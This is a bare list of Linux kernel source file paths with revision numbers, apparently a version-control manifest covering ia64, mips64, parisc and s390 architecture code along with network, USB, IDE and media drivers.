linux/arch/ia64/kernel/ivt.S - 1.15 linux/arch/ia64/lib/checksum.c - 1.3 linux/arch/ia64/lib/clear_page.S - 1.6 linux/arch/ia64/lib/copy_page.S - 1.7 linux/arch/ia64/lib/copy_user.S - 1.11 linux/arch/ia64/kernel/pci.c - 1.10 linux/arch/ia64/lib/do_csum.S - 1.6 linux/arch/ia64/kernel/process.c - 1.13 linux/arch/ia64/kernel/perfmon.c - 1.10 linux/arch/ia64/mm/tlb.c - 1.10 linux/arch/ia64/kernel/mca.c - 1.10 linux/arch/ia64/mm/init.c - 1.14 linux/arch/ia64/mm/fault.c - 1.9 linux/arch/ia64/lib/memset.S - 1.5 linux/arch/ia64/kernel/mca_asm.S - 1.10 linux/arch/ia64/kernel/pal.S - 1.8 linux/drivers/net/gmac.c - 1.14 linux/kernel/pm.c - 1.10 linux/include/asm-ia64/keyboard.h - 1.5 linux/include/asm-ia64/iosapic.h - 1.6 linux/include/asm-ia64/ioctls.h - 1.5 linux/include/asm-ia64/ide.h - 1.7 linux/include/asm-ia64/errno.h - 1.2 linux/include/asm-ia64/elf.h - 1.5 linux/include/asm-ia64/efi.h - 1.9 linux/include/asm-ia64/current.h - 1.3 linux/include/asm-ia64/cache.h - 1.5 linux/include/asm-ia64/bitops.h - 1.8 linux/include/asm-ia64/atomic.h - 1.6 linux/include/asm-ia64/acpi-ext.h - 1.8 linux/include/asm-ia64/siginfo.h - 1.11 linux/include/linux/raid/md_k.h - 1.16 linux/include/asm-ia64/serial.h - 1.3 linux/include/asm-ia64/sal.h - 1.10 linux/include/linux/raid/md_compatible.h - 1.6 linux/include/asm-ia64/processor.h - 1.17 linux/include/asm-ia64/pgtable.h - 1.15 linux/include/asm-ia64/pgalloc.h - 1.9 linux/include/asm-ia64/machvec.h - 1.8 linux/include/asm-ia64/pci.h - 1.13 linux/include/asm-ia64/socket.h - 1.7 linux/include/asm-ia64/page.h - 1.12 linux/include/asm-ia64/offsets.h - 1.13 linux/include/asm-ia64/machvec_init.h - 1.4 linux/include/asm-ia64/machvec_sn1.h - 1.6 linux/include/asm-ia64/vga.h - 1.2 linux/include/asm-ia64/semaphore.h - 1.7 linux/include/asm-ia64/unistd.h - 1.18 linux/include/asm-ia64/uaccess.h - 1.7 linux/include/asm-ia64/timex.h - 1.3 linux/include/asm-ia64/system.h - 1.13 linux/include/asm-ia64/termios.h - 1.4 linux/include/asm-ia64/string.h - 1.5 linux/drivers/net/8139too.c - 1.38 linux/drivers/macintosh/via-pmu68k.c - 1.5 linux/drivers/macintosh/via-maciisi.c - 1.3 linux/drivers/char/amiserial.c - 1.12 linux/arch/m68k/mac/misc.c - 1.7 linux/drivers/isdn/hisax/hfc_sx.c - 1.12 linux/drivers/isdn/avmb1/b1dma.c - 1.19 linux/Documentation/filesystems/devfs/README - 1.13 linux/Documentation/filesystems/devfs/ChangeLog - 1.18 linux/fs/devfs/base.c - 1.28 linux/include/linux/lvm.h - 1.14 linux/fs/lockd/xdr4.c - 1.8 linux/net/bridge/br_stp.c - 1.5 linux/fs/lockd/svc4proc.c - 1.7 linux/net/bridge/br_if.c - 1.8 linux/arch/mips/lib/strnlen_user.S - 1.4 linux/Documentation/networking/8139too.txt - 1.18 linux/arch/mips/ddb5074/setup.c - 1.6 linux/arch/mips/ddb5074/pci.c - 1.8 linux/arch/mips/ddb5074/irq.c - 1.5 linux/arch/mips/defconfig-decstation - 1.10 linux/arch/mips/defconfig-ip22 - 1.11 linux/arch/mips/ddb5074/Makefile - 1.4 linux/drivers/net/tulip/tulip_core.c - 1.41 linux/drivers/net/tulip/tulip.h - 1.17 linux/drivers/net/tulip/interrupt.c - 1.15 linux/drivers/net/tulip/eeprom.c - 1.12 linux/drivers/char/wdt977.c - 1.7 linux/include/asm-mips64/io.h - 1.9 linux/include/asm-mips64/ide.h - 1.9 linux/include/asm-mips64/gfx.h - 1.4 linux/include/asm-mips64/fcntl.h - 1.10 linux/include/asm-mips64/elf.h - 1.9 linux/include/asm-mips64/dma.h - 1.5 linux/include/asm-mips64/delay.h - 1.7 linux/include/asm-mips64/cpu.h - 1.6 linux/include/asm-mips64/checksum.h - 1.6 linux/include/asm-mips64/cache.h - 1.6 linux/include/asm-mips64/bootinfo.h - 1.8 linux/include/asm-mips64/bitops.h - 1.9 linux/include/asm-mips64/bcache.h - 1.6 linux/include/asm-mips64/asmmacro.h - 1.4 linux/include/asm-mips64/asm.h - 1.6 linux/include/asm-mips64/addrspace.h - 1.6 linux/include/asm-mips64/a.out.h - 1.4 linux/include/asm-mips/wbflush.h - 1.5 linux/include/asm-mips/shmbuf.h - 1.3 linux/include/asm-mips/sgi/sgint23.h - 1.5 linux/include/asm-mips/sgi/sgihpc.h - 1.4 linux/include/asm-mips/sembuf.h - 1.2 linux/include/asm-mips/nile4.h - 1.4 linux/include/asm-mips/msgbuf.h - 1.2 linux/include/asm-mips/ipcbuf.h - 1.2 linux/include/asm-mips/highmem.h - 1.6 linux/include/asm-mips64/ipcbuf.h - 1.2 linux/include/asm-mips64/irq.h - 1.6 linux/include/asm-mips64/sn/kldir.h - 1.5 linux/include/asm-mips64/sn/klconfig.h - 1.5 linux/include/asm-mips64/sn/io.h - 1.4 linux/include/asm-mips64/sn/gda.h - 1.5 linux/include/asm-mips64/signal.h - 1.4 linux/include/asm-mips64/siginfo.h - 1.6 linux/include/asm-mips64/sigcontext.h - 1.4 linux/include/asm-mips64/shmiq.h - 1.5 linux/include/asm-mips64/shmbuf.h - 1.2 linux/include/asm-mips64/sgiarcs.h - 1.5 linux/include/asm-mips64/sgialib.h - 1.5 linux/include/asm-mips64/sgi/sgint23.h - 1.7 linux/include/asm-mips64/sgi/sgihpc.h - 1.5 linux/include/asm-mips64/serial.h - 1.8 linux/include/asm-mips64/sembuf.h - 1.2 linux/include/asm-mips64/semaphore.h - 1.7 linux/include/asm-mips64/semaphore-helper.h - 1.5 linux/include/asm-mips64/scatterlist.h - 1.4 linux/include/asm-mips64/unaligned.h - 1.6 linux/include/asm-mips64/r4kcacheops.h - 1.4 linux/include/asm-mips64/processor.h - 1.14 linux/include/asm-mips64/posix_types.h - 1.5 linux/include/asm-mips64/pgtable.h - 1.12 linux/include/asm-mips64/pgalloc.h - 1.9 linux/include/asm-mips64/uaccess.h - 1.7 linux/include/asm-mips64/pci/bridge.h - 1.6 linux/include/asm-mips64/pci.h - 1.12 linux/include/asm-mips64/types.h - 1.5 linux/include/asm-mips64/page.h - 1.7 linux/include/asm-mips64/timex.h - 1.4 linux/include/asm-mips64/termios.h - 1.7 linux/include/asm-mips64/system.h - 1.8 linux/include/asm-mips64/stackframe.h - 1.5 linux/include/asm-mips64/spinlock.h - 1.6 linux/include/asm-mips64/softirq.h - 1.5 linux/include/asm-mips64/socket.h - 1.8 linux/include/asm-mips64/sn/sn0/sn0_fru.h - 1.4 linux/include/asm-mips64/sn/sn0/hubpi.h - 1.5 linux/include/asm-mips64/msgbuf.h - 1.2 linux/include/asm-mips64/ipc.h - 1.2 linux/include/asm-mips64/ioctls.h - 1.6 linux/include/asm-mips64/mmu_context.h - 1.9 linux/include/asm-mips64/sn/sn0/hubmd.h - 1.5 linux/include/asm-mips64/sn/sn0/arch.h - 1.4 linux/include/asm-mips64/sn/sn0/hubio.h - 1.5 linux/include/asm-mips64/linux_logo.h - 1.5 linux/include/asm-mips64/mipsregs.h - 1.10 linux/include/asm-mips64/mc146818rtc.h - 1.5 linux/arch/mips64/defconfig - 1.20 linux/arch/mips64/arc/cmdline.c - 1.4 linux/arch/mips64/arc/console.c - 1.5 linux/arch/mips64/arc/env.c - 1.4 linux/arch/mips64/mm/umap.c - 1.7 linux/arch/mips64/arc/file.c - 1.4 linux/arch/mips64/arc/identify.c - 1.7 linux/arch/mips64/arc/memory.c - 1.8 linux/arch/mips64/mm/init.c - 1.9 linux/arch/mips64/mm/Makefile - 1.7 linux/arch/mips64/mm/fault.c - 1.12 linux/arch/mips64/mm/extable.c - 1.5 linux/arch/mips64/lib/strlen_user.S - 1.4 linux/arch/mips64/lib/strnlen_user.S - 1.5 linux/arch/mips64/lib/memcpy.S - 1.6 linux/arch/mips64/lib/memset.S - 1.5 linux/arch/mips64/arc/init.c - 1.5 linux/arch/mips64/mm/andes.c - 1.11 linux/arch/mips64/lib/ide-std.c - 1.4 linux/arch/mips64/lib/ide-no.c - 1.4 linux/arch/mips64/lib/csum_partial_copy.c - 1.4 linux/arch/mips64/ld.script.elf64 - 1.6 linux/arch/mips64/kernel/traps.c - 1.9 linux/arch/mips64/tools/offset.c - 1.5 linux/arch/mips64/kernel/unaligned.c - 1.8 linux/arch/mips64/tools/Makefile - 1.7 linux/arch/mips64/sgi-ip27/ip27-timer.c - 1.10 linux/arch/mips64/sgi-ip27/ip27-setup.c - 1.8 linux/arch/mips64/sgi-ip27/ip27-rtc.c - 1.7 linux/arch/mips64/sgi-ip27/ip27-reset.c - 1.5 linux/arch/mips64/sgi-ip27/ip27-pci.c - 1.7 linux/arch/mips64/sgi-ip27/ip27-pci-dma.c - 1.6 linux/arch/mips64/lib/floppy-std.c - 1.5 linux/arch/mips64/sgi-ip27/ip27-memory.c - 1.9 linux/arch/mips64/arc/time.c - 1.4 linux/arch/mips64/sgi-ip27/ip27-klconfig.c - 1.5 linux/arch/mips64/sgi-ip27/ip27-irq.c - 1.10 linux/arch/mips64/sgi-ip27/ip27-irq-glue.S - 1.4 linux/arch/mips64/arc/tree.c - 1.6 linux/arch/mips64/sgi-ip27/ip27-init.c - 1.11 linux/arch/mips64/sgi-ip27/ip27-berr.c - 1.7 linux/arch/mips64/sgi-ip27/TODO - 1.3 linux/arch/mips64/config.in - 1.18 linux/arch/mips64/sgi-ip27/Makefile - 1.9 linux/arch/mips64/defconfig-ip22 - 1.13 linux/arch/mips64/kernel/binfmt_elf32.c - 1.8 linux/arch/mips64/kernel/scall_o32.S - 1.10 linux/arch/mips64/Makefile - 1.11 linux/arch/mips64/arc/Makefile - 1.6 linux/arch/mips64/mm/r4xx0.c - 1.12 linux/arch/mips64/mm/loadmmu.c - 1.8 linux/arch/mips64/kernel/syscall.c - 1.11 linux/arch/mips64/kernel/softfp.S - 1.4 linux/arch/mips64/kernel/signal32.c - 1.11 linux/arch/mips64/kernel/signal.c - 1.9 linux/arch/mips64/arc/misc.c - 1.5 linux/arch/mips64/arc/salone.c - 1.4 linux/arch/mips64/kernel/setup.c - 1.10 linux/arch/mips64/kernel/linux32.c - 1.15 linux/arch/mips64/kernel/scall_64.S - 1.12 linux/arch/mips64/defconfig-ip27 - 1.12 linux/arch/mips64/kernel/Makefile - 1.7 linux/arch/mips64/kernel/entry.S - 1.9 linux/arch/mips64/kernel/head.S - 1.7 linux/arch/mips64/kernel/r4k_switch.S - 1.6 linux/arch/mips64/kernel/mips64_ksyms.c - 1.11 linux/arch/mips64/kernel/proc.c - 1.8 linux/arch/mips64/kernel/process.c - 1.9 linux/arch/mips64/kernel/ptrace.c - 1.10 linux/arch/mips64/kernel/r4k_fpu.S - 1.4 linux/arch/mips64/kernel/r4k_genex.S - 1.6 linux/drivers/net/bonding.c - 1.13 linux/include/linux/brlock.h - 1.6 linux/drivers/usb/wacom.c - 1.16 linux/drivers/usb/pegasus.c - 1.25 linux/drivers/net/appletalk/Config.in - 1.5 linux/include/linux/usb.h - 1.24 linux/include/asm-ia64/hw_irq.h - 1.7 linux/drivers/usb/serial/usb-serial.h - 1.17 linux/drivers/usb/serial/ftdi_sio.h - 1.6 linux/drivers/usb/serial/Makefile - 1.18 linux/drivers/sound/awe_wave.c - 1.10 linux/arch/ia64/kernel/irq_ia64.c - 1.11 linux/drivers/ide/q40ide.c - 1.5 linux/drivers/ide/ide.c - 1.37 linux/drivers/ide/ide-probe.c - 1.20 linux/drivers/ide/ide-pmac.c - 1.10 linux/drivers/ide/ide-pci.c - 1.24 linux/drivers/ide/ide-geometry.c - 1.10 linux/drivers/ide/ide-dma.c - 1.14 linux/drivers/ide/ide-disk.c - 1.21 linux/drivers/ide/ide-cs.c - 1.8 linux/drivers/ide/ide-cd.c - 1.23 linux/drivers/ide/Makefile - 1.15 linux/drivers/ide/Config.in - 1.17 linux/drivers/block/elevator.c - 1.10 linux/Documentation/DocBook/Makefile - 1.23 linux/include/linux/elevator.h - 1.7 linux/drivers/scsi/sym53c8xx_comm.h - 1.11 linux/drivers/net/wan/comx-hw-comx.c - 1.8 linux/drivers/net/tokenring/lanstreamer.c - 1.12 linux/net/ipv4/netfilter/ipt_unclean.c - 1.8 linux/net/ipv4/netfilter/ipt_owner.c - 1.7 linux/net/ipv4/netfilter/ipt_REJECT.c - 1.14 linux/net/ipv4/netfilter/ipchains_core.c - 1.12 linux/net/ipv4/netfilter/ip_tables.c - 1.14 linux/net/ipv4/netfilter/ip_queue.c - 1.14 linux/net/ipv4/netfilter/ip_nat_standalone.c - 1.14 linux/net/ipv4/netfilter/ip_nat_rule.c - 1.7 linux/net/ipv4/netfilter/ip_nat_proto_unknown.c - 1.2 linux/net/ipv4/netfilter/ip_nat_proto_tcp.c - 1.4 linux/net/ipv4/netfilter/ip_nat_ftp.c - 1.9 linux/net/ipv4/netfilter/ip_nat_core.c - 1.11 linux/net/ipv4/netfilter/ip_fw_compat_masq.c - 1.8 linux/net/ipv4/netfilter/ip_conntrack_standalone.c - 1.13 linux/net/ipv4/netfilter/ip_conntrack_proto_udp.c - 1.8 linux/net/ipv4/netfilter/ip_conntrack_proto_tcp.c - 1.9 linux/net/ipv4/netfilter/ip_conntrack_proto_icmp.c - 1.6 linux/net/ipv4/netfilter/ip_conntrack_proto_generic.c - 1.6 linux/net/ipv4/netfilter/ip_conntrack_ftp.c - 1.9 linux/net/ipv4/netfilter/ip_conntrack_core.c - 1.14 linux/net/ipv4/netfilter/Makefile - 1.12 linux/net/ipv4/netfilter/Config.in - 1.9 linux/include/linux/netfilter_ipv4/ipt_owner.h - 1.2 linux/include/linux/netfilter_ipv4/ip_nat_rule.h - 1.2 linux/include/linux/netfilter_ipv4/ip_nat_helper.h - 1.4 linux/include/linux/netfilter_ipv4/ip_nat.h - 1.4 linux/include/linux/netfilter_ipv4/ip_conntrack_protocol.h - 1.5 linux/include/linux/netfilter_ipv4/ip_conntrack_helper.h - 1.3 linux/include/linux/netfilter_ipv4/ip_conntrack_ftp.h - 1.4 linux/include/linux/netfilter_ipv4/ip_conntrack_core.h - 1.5 linux/include/linux/netfilter_ipv4/ip_conntrack.h - 1.11 linux/drivers/net/pcmcia/xircom_tulip_cb.c - 1.21 linux/fs/nfs/flushd.c - 1.12 linux/drivers/usb/mdc800.c - 1.15 linux/drivers/net/pcmcia/ibmtr_cs.c - 1.10 linux/drivers/char/wdt_pci.c - 1.10 linux/arch/i386/kernel/pci-irq.c - 1.23 linux/Documentation/DocBook/parportbook.tmpl - 1.8 linux/include/linux/nfs_xdr.h - 1.6 linux/fs/nfs/nfs3proc.c - 1.10 linux/drivers/usb/serial/keyspan_pda.c - 1.18 linux/drivers/usb/serial/ftdi_sio.c - 1.28 linux/drivers/usb/serial/usbserial.c - 1.27 linux/drivers/usb/serial/whiteheat.c - 1.20 linux/drivers/usb/serial/visor.h - 1.9 linux/drivers/usb/serial/visor.c - 1.29 linux/arch/ia64/kernel/smpboot.c - 1.8 linux/arch/ia64/kernel/minstate.h - 1.7 linux/arch/ia64/ia32/ia32_traps.c - 1.6 linux/drivers/usb/serial/omninet.c - 1.18 linux/drivers/sound/i810_audio.c - 1.24 linux/include/asm-ppc/mpc8260.h - 1.4 linux/include/asm-ppc/est8260.h - 1.4 linux/drivers/usb/serial/digi_acceleport.c - 1.20 linux/drivers/char/rio/linux_compat.h - 1.5 linux/arch/ppc/kernel/ppc8260_pic.h - 1.3 linux/arch/ppc/kernel/m8260_setup.c - 1.14 linux/arch/ppc/8260_io/Config.in - 1.4 linux/drivers/char/rio/riocmd.c - 1.7 linux/drivers/char/rio/rio_linux.h - 1.5 linux/arch/s390/config.in - 1.12 linux/arch/s390/defconfig - 1.12 linux/include/asm-s390/timex.h - 1.4 linux/include/asm-s390/irq.h - 1.8 linux/include/asm-s390/system.h - 1.7 linux/include/asm-s390/socket.h - 1.5 linux/include/asm-s390/smp.h - 1.5 linux/include/asm-s390/sigp.h - 1.6 linux/include/asm-s390/semaphore.h - 1.4 linux/arch/s390/kernel/entry.S - 1.18 linux/drivers/s390/misc/chandev.c - 1.10 linux/arch/s390/kernel/ieee.h - 1.2 linux/drivers/s390/char/hwc_rw.c - 1.6 linux/drivers/s390/char/hwc.h - 1.5 linux/include/asm-s390/s390mach.h - 1.3 linux/include/asm-s390/s390io.h - 1.4 linux/drivers/s390/block/dasd.c - 1.21 linux/include/asm-s390/pgtable.h - 1.10 linux/arch/s390/kernel/time.c - 1.7 linux/arch/s390/kernel/traps.c - 1.11 linux/arch/s390/kernel/ptrace.c - 1.9 linux/arch/s390/kernel/s390_ksyms.c - 1.9 linux/arch/s390/kernel/setup.c - 1.9 linux/arch/s390/kernel/signal.c - 1.9 linux/arch/s390/kernel/smp.c - 1.13 linux/arch/s390/mm/fault.c - 1.11 linux/net/ipv6/netfilter/ip6_tables.c - 1.12 linux/net/ipv6/netfilter/Makefile - 1.10 linux/net/ipv6/netfilter/Config.in - 1.6 linux/arch/mips64/kernel/smp.c - 1.11 linux/include/asm-mips64/sn/nmi.h - 1.4 linux/Documentation/DocBook/kernel-hacking.tmpl - 1.9 linux/include/asm-mips64/sn/intr_public.h - 1.3 linux/include/asm-mips64/sn/intr.h - 1.3 linux/arch/mips64/kernel/ioctl32.c - 1.10 linux/arch/mips64/sgi-ip27/ip27-nmi.c - 1.4 linux/include/asm-mips64/smp.h - 1.7 linux/include/linux/sisfb.h - 1.6 linux/drivers/char/joystick/pcigame.c - 1.7 linux/Documentation/filesystems/Locking - 1.8 linux/drivers/char/joystick/analog.c - 1.8 linux/include/asm-mips64/sn/mapped_kernel.h - 1.4 linux/drivers/char/drm/r128_drv.h - 1.8 linux/drivers/char/drm/r128_drv.c - 1.7 linux/drivers/char/drm/mga_state.c - 1.7 linux/drivers/char/drm/mga_drv.h - 1.8 linux/drivers/char/drm/mga_dma.c - 1.6 linux/drivers/char/drm/i810_drv.h - 1.3 linux/drivers/char/drm/i810_drv.c - 1.6 linux/drivers/char/drm/i810_drm.h - 1.3 linux/drivers/char/drm/i810_dma.c - 1.10 linux/drivers/usb/storage/usb.h - 1.10 linux/drivers/usb/storage/usb.c - 1.16 linux/drivers/usb/storage/transport.h - 1.9 linux/drivers/usb/storage/transport.c - 1.17 linux/drivers/usb/storage/scsiglue.c - 1.17 linux/drivers/char/drm/Config.in - 1.7 linux/drivers/char/sbc60xxwdt.c - 1.11 linux/drivers/usb/storage/Makefile - 1.8 linux/drivers/usb/serial/keyspan_usa28x_fw.h - 1.3 linux/drivers/usb/serial/keyspan_usa28msg.h - 1.4 linux/drivers/usb/serial/keyspan_usa28_fw.h - 1.3 linux/drivers/usb/serial/keyspan_usa26msg.h - 1.4 linux/drivers/usb/serial/keyspan_usa19w_fw.h - 1.3 linux/drivers/usb/serial/keyspan_usa19_fw.h - 1.3 linux/drivers/usb/serial/keyspan_usa18x_fw.h - 1.3 linux/drivers/usb/serial/keyspan.h - 1.7 linux/drivers/usb/serial/keyspan.c - 1.17 linux/drivers/usb/microtek.c - 1.12 linux/drivers/acpi/os.c - 1.11 linux/drivers/usb/bluetooth.c - 1.19 linux/drivers/acpi/include/actypes.h - 1.10 linux/drivers/acpi/events/evevent.c - 1.10 linux/drivers/acpi/dispatcher/dswexec.c - 1.8 linux/drivers/acpi/dispatcher/dsfield.c - 1.7 linux/arch/ia64/kernel/ia64_ksyms.c - 1.9 linux/arch/ia64/kernel/palinfo.c - 1.8 linux/drivers/ieee1394/video1394.c - 1.18 linux/arch/ia64/kernel/unwind_i.h - 1.5 linux/drivers/mtd/ftl.c - 1.12 linux/arch/mips/cobalt/int-handler.S - 1.5 linux/arch/mips/cobalt/pci.c - 1.5 linux/arch/mips/cobalt/reset.c - 1.5 linux/arch/mips/cobalt/setup.c - 1.5 linux/arch/mips/cobalt/via.c - 1.4 linux/arch/ppc/kernel/xics.h - 1.3 linux/arch/ppc/kernel/xics.c - 1.5 linux/arch/ppc/kernel/pmac_backlight.c - 1.6 linux/arch/mips/defconfig-cobalt - 1.7 linux/include/linux/serio.h - 1.4 linux/fs/smbfs/smb_debug.h - 1.3 linux/arch/ppc/configs/rpxlite_defconfig - 1.12 linux/arch/ppc/configs/rpxcllf_defconfig - 1.13 linux/arch/ppc/configs/est8260_defconfig - 1.13 linux/arch/ppc/configs/bseip_defconfig - 1.12 linux/arch/mips64/sgi-ip27/ip27-klnuma.c - 1.4 linux/include/linux/mtd/ftl.h - 1.4 linux/net/ipv4/tcp_minisocks.c - 1.12 linux/include/linux/netfilter_ipv4/ip_conntrack_tcp.h - 1.2 linux/include/asm-sparc/kmap_types.h - 1.5 linux/include/asm-sparc/highmem.h - 1.5 linux/fs/nfs/unlink.c - 1.6 linux/drivers/usb/storage/freecom.c - 1.10 linux/drivers/net/natsemi.c - 1.23 linux/drivers/media/video/tvmixer.c - 1.8 linux/drivers/media/video/tuner.h - 1.8 linux/drivers/media/video/tuner.c - 1.10 linux/drivers/media/video/tda9875.c - 1.9 linux/drivers/media/video/tda7432.c - 1.10 linux/drivers/media/video/pms.c - 1.8 linux/drivers/media/video/msp3400.c - 1.11 linux/drivers/media/video/cpia_usb.c - 1.8 linux/drivers/media/video/cpia_pp.c - 1.4 linux/drivers/media/video/cpia.h - 1.4 linux/drivers/media/video/cpia.c - 1.8 linux/Documentation/networking/tuntap.txt - 1.4 linux/drivers/media/video/bttv.h - 1.12 linux/drivers/media/video/bttv-if.c - 1.6 linux/drivers/media/video/bttv-driver.c - 1.18 linux/drivers/media/video/bttv-cards.c - 1.12 linux/drivers/media/video/Makefile - 1.6 linux/drivers/media/radio/radio-gemtek.c - 1.8 linux/drivers/media/radio/Config.in - 1.10 linux/drivers/isdn/hisax/nj_s.c - 1.10 linux/drivers/char/joystick/iforce.c - 1.7 linux/drivers/char/i810-tco.c - 1.12 linux/drivers/md/lvm.c - 1.26 linux/drivers/md/raid1.c - 1.18 linux/Documentation/SubmittingDrivers - 1.7 linux/drivers/acpi/include/acglobal.h - 1.7 linux/drivers/acpi/namespace/nsdump.c - 1.5 linux/drivers/block/cciss.c - 1.23 linux/drivers/block/cciss.h - 1.6 linux/drivers/char/toshiba.c - 1.5 linux/drivers/md/lvm-snap.c - 1.13 linux/drivers/md/md.c - 1.35 linux/drivers/net/hamachi.c - 1.14 linux/drivers/net/sundance.c - 1.15 linux/drivers/net/winbond-840.c - 1.18 linux/drivers/scsi/cpqfcTSinit.c - 1.13 linux/drivers/scsi/cpqfcTSstructs.h - 1.7 linux/drivers/scsi/cpqfcTSworker.c - 1.8 linux/drivers/scsi/cpqioctl.c - 1.2 linux/fs/dnotify.c - 1.4 linux/include/asm-ppc/kmap_types.h - 1.7 linux/drivers/zorro/zorro.ids - 1.3 linux/include/asm-ia64/acpikcfg.h - 1.5 linux/include/asm-ia64/module.h - 1.7 linux/mm/oom_kill.c - 1.12 linux/drivers/net/tulip/ChangeLog - 1.16 linux/drivers/usb/pegasus.h - 1.8 linux/drivers/usb/serial/belkin_sa.c - 1.14 linux/drivers/usb/serial/belkin_sa.h - 1.5 linux/drivers/video/sis/Makefile - 1.7 linux/drivers/video/sis/initdef.h - 1.5 linux/drivers/video/sis/sis.h - 1.3 linux/drivers/video/sis/sis_main.c - 1.11 linux/drivers/media/video/tvaudio.c - 1.10 linux/drivers/media/video/bttvp.h - 1.8 linux/net/irda/irsyms.c - 1.5 linux/net/irda/irnet/irnet_irda.h - 1.4 linux/net/irda/irnet/irnet_irda.c - 1.10 linux/net/irda/irnet/irnet.h - 1.9 linux/include/linux/ethtool.h - 1.11 linux/arch/sparc64/lib/U3memcpy.S - 1.2 linux/arch/sparc64/lib/U3copy_to_user.S - 1.2 linux/arch/sparc64/lib/U3copy_from_user.S - 1.3 linux/arch/parisc/kernel/drivers.c - 1.2 linux/arch/parisc/kernel/entry.S - 1.2 linux/drivers/video/fbcon-sti.c - 1.5 linux/include/asm-parisc/led.h - 1.2 linux/drivers/parport/parport_gsc.c - 1.6 linux/include/asm-parisc/atomic.h - 1.2 linux/include/asm-parisc/hardware.h - 1.2 linux/Documentation/SubmittingPatches - 1.2 linux/include/asm-parisc/hil.h - 1.2 linux/include/asm-parisc/uaccess.h - 1.2 linux/include/asm-parisc/hardirq.h - 1.2 linux/include/asm-parisc/md.h - 1.2 linux/include/asm-parisc/unaligned.h - 1.2 linux/Documentation/parisc/00-INDEX - 1.2 linux/Documentation/parisc/registers - 1.3 linux/include/asm-parisc/mmu.h - 1.3 linux/include/asm-parisc/unistd.h - 1.3 linux/include/asm-parisc/types.h - 1.2 linux/include/asm-parisc/gsc.h - 1.2 linux/drivers/video/sti-bmode.h - 1.2 linux/include/asm-parisc/mmu_context.h - 1.2 linux/drivers/video/sti.h - 1.2 linux/include/asm-parisc/msgbuf.h - 1.2 linux/drivers/video/sticon-bmode.c - 1.6 linux/include/asm-parisc/traps.h - 1.2 linux/drivers/video/sticon.c - 1.3 linux/drivers/video/sticore.c - 1.5 linux/drivers/video/stifb.c - 1.3 linux/arch/alpha/lib/ev6-stxncpy.S - 1.2 linux/include/asm-parisc/page.h - 1.3 linux/drivers/net/lasi_82596.c - 1.8 linux/drivers/usb/serial/mct_u232.c - 1.13 linux/drivers/usb/serial/keyspan_usa49w_fw.h - 1.3 linux/include/asm-parisc/ide.h - 1.3 linux/arch/parisc/vmlinux.lds - 1.3 linux/arch/parisc/tools/offset.c - 1.2 linux/arch/parisc/tools/Makefile - 1.2 linux/arch/parisc/mm/pa20.c - 1.3 linux/arch/parisc/mm/pa11.c - 1.3 linux/arch/parisc/mm/kmap.c - 1.3 linux/arch/parisc/mm/init.c - 1.2 linux/arch/parisc/mm/fault.c - 1.3 linux/arch/parisc/mm/extable.c - 1.2 linux/drivers/usb/serial/keyspan_usa49msg.h - 1.3 linux/include/asm-parisc/pci.h - 1.5 linux/include/asm-parisc/pdc.h - 1.2 linux/include/asm-parisc/keyboard.h - 1.2 linux/include/asm-parisc/pdcpat.h - 1.2 linux/include/asm-parisc/pgalloc.h - 1.4 linux/include/asm-parisc/pgtable.h - 1.4 linux/arch/parisc/mm/Makefile - 1.2 linux/drivers/usb/serial/empeg.c - 1.16 linux/include/asm-parisc/posix_types.h - 1.2 linux/include/asm-parisc/irq.h - 1.2 linux/arch/parisc/lib/lusercopy.S - 1.2 linux/drivers/usb/serial/Config.in - 1.13 linux/include/asm-parisc/processor.h - 1.6 linux/include/asm-parisc/psw.h - 1.2 linux/arch/parisc/lib/bitops.c - 1.2 linux/arch/parisc/lib/Makefile - 1.2 linux/arch/parisc/kernel/traps.c - 1.4 linux/arch/parisc/kernel/time.c - 1.2 linux/arch/parisc/kernel/syscall.S - 1.3 linux/arch/parisc/kernel/sys_parisc.c - 1.3 linux/arch/parisc/kernel/signal.c - 1.3 linux/arch/parisc/kernel/setup.c - 1.3 linux/arch/parisc/kernel/semaphore.c - 1.3 linux/arch/parisc/kernel/sba_iommu.c - 1.4 linux/arch/parisc/kernel/real2.S - 1.2 linux/include/asm-parisc/ipcbuf.h - 1.2 linux/include/asm-parisc/ptrace.h - 1.2 linux/include/asm-parisc/real.h - 1.2 linux/arch/parisc/kernel/real1.c - 1.2 linux/arch/i386/kernel/dmi_scan.c - 1.14 linux/arch/parisc/kernel/ptrace.c - 1.5 linux/arch/parisc/kernel/process.c - 1.3 linux/arch/parisc/kernel/pdc_cons.c - 1.4 linux/arch/parisc/kernel/pdc.c - 1.2 linux/include/asm-parisc/scatterlist.h - 1.3 linux/arch/parisc/kernel/pci.c - 1.2 linux/arch/parisc/kernel/pci-dma.c - 1.4 linux/include/asm-parisc/semaphore-helper.h - 1.2 linux/include/asm-parisc/semaphore.h - 1.4 linux/include/asm-parisc/sembuf.h - 1.2 linux/include/asm-mips64/riscos-syscall.h - 1.2 linux/include/asm-parisc/shmbuf.h - 1.2 linux/include/asm-parisc/shmparam.h - 1.2 linux/include/asm-parisc/iosapic.h - 1.2 linux/include/asm-parisc/assembly.h - 1.2 linux/arch/parisc/kernel/parisc_ksyms.c - 1.2 linux/include/asm-parisc/bitops.h - 1.2 linux/include/asm-parisc/bootdata.h - 1.2 linux/include/asm-parisc/cache.h - 1.2 linux/include/asm-parisc/checksum.h - 1.2 linux/include/asm-parisc/ioctls.h - 1.5 linux/arch/parisc/kernel/pa7300lc.c - 1.2 linux/include/asm-parisc/current.h - 1.2 linux/include/asm-parisc/delay.h - 1.2 linux/arch/parisc/kernel/led.c - 1.2 linux/arch/parisc/kernel/lba_pci.c - 1.3 linux/include/asm-parisc/elf.h - 1.2 linux/include/asm-parisc/fcntl.h - 1.2 linux/include/asm-parisc/fixmap.h - 1.2 linux/arch/parisc/kernel/keyboard.c - 1.2 linux/include/asm-parisc/smp.h - 1.2 linux/include/asm-parisc/smplock.h - 1.2 linux/arch/parisc/kernel/irq.c - 1.3 linux/arch/parisc/kernel/iosapic_private.h - 1.2 linux/arch/parisc/kernel/iosapic.c - 1.3 linux/arch/parisc/kernel/inventory.c - 1.2 linux/arch/parisc/kernel/init_task.c - 1.3 linux/arch/parisc/kernel/hpmc.S - 1.2 linux/arch/parisc/kernel/head.S - 1.2 linux/arch/parisc/kernel/hardware.c - 1.2 linux/include/asm-parisc/io.h - 1.2 linux/arch/parisc/kernel/ccio-rm-dma.c - 1.3 linux/arch/parisc/kernel/ccio-dma.c - 1.4 linux/arch/parisc/kernel/cache.c - 1.2 linux/arch/parisc/kernel/Makefile - 1.2 linux/arch/parisc/hpux/wrappers.S - 1.2 